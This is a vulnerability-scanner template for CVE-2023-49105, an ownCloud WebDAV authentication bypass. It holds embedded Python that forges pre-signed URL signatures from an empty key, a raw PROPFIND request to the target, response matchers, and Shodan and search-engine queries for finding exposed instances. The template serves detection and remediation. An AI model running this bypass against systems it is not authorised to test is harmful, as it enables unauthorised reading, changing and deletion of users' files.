id: CVE-2023-49105

info:
  name: OwnCloud - WebDAV API Authentication Bypass
  author: ChristianPoeschl,FlorianDewald,usdAG
  severity: critical
  description: |
    An issue was discovered in ownCloud owncloud/core before 10.13.1. An attacker can access, modify, or delete any file without authentication if the username of a victim is known, and the victim has no signing-key configured. This occurs because pre-signed URLs can be accepted even when no signing-key is configured for the owner of the files. The earliest affected version is 10.6.0.
  remediation: |
    Upgrade OwnCloud to version 10.13.1 or later that properly validates signing keys and authentication in the WebDAV API.
  impact: |
    Attackers can access, modify, or delete any files without authentication, leading to data breach and integrity issues.
  reference:
    - https://owncloud.com/security-advisories/webdav-api-authentication-bypass-using-pre-signed-urls/
    - https://github.com/0xfed/ownedcloud
    - https://owncloud.org/security
    - https://github.com/ambionics/owncloud-exploits
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
    epss-score: 0.89605
    epss-percentile: 0.99574
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: owncloud
    product: owncloud
    shodan-query:
      - title:"owncloud"
      - http.title:"owncloud"
    fofa-query: title="owncloud"
    google-query: intitle:"owncloud"
  tags: cve,cve2023,code,owncloud,auth-bypass,vuln
variables:
  username: admin

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
      # build signature for presigned urls
      import base64, hashlib, datetime, os
      from urllib.parse import urlencode

      username = os.getenv('username')
      base_url = os.getenv('BaseURL')
      dav_url = f'{base_url}/remote.php/dav/files/{username}'
      oc_date = datetime.datetime.now().strftime('%Y-%m-%dT%H:%M:%SZ')
      data = {
        'OC-Expires': '991200',
        'OC-Verb': 'PROPFIND',
        'OC-Credential': username,
        'OC-Date': oc_date
      }
      sig_url = f'{dav_url}?{urlencode(data)}'
      # derive signature from empty sign key
      dk = hashlib.pbkdf2_hmac('sha512', sig_url.encode(), b'', 10000, dklen=32)
      final_url = f'/remote.php/dav/files/{username}?{urlencode(data)}&OC-Signature={dk.hex()}'
      #final_url = f'{sig_url}&OC-Signature={dk.hex()}'
      print(final_url)

http:
  - raw:
      - |
        PROPFIND {{code_response}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml
        Authorization: Basic {{base64('{{username}}')}}

    matchers-condition: or
    matchers:
      - type: dsl
        name: bypass-correct-user
        dsl:
          - status_code == 207
          - contains(body, 'owncloud.org')
        condition: and

      - type: word
        name: bypass-wrong-user
        part: body
        words:
          - User unknown
          - Sabre
          - Exception
          - NotAuthenticated
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Username => "+ username'
# digest: 490a0046304402207019ab847a0b874907984245d315eafab80cd481b741a2cf5cd56fa7b4072615022003ebaf3932c5b3762abdefb9d9e895aa5b7f6ecd220b8ba9900701a5fbd04f7f:922c64590222798bb761d5b6d8e72950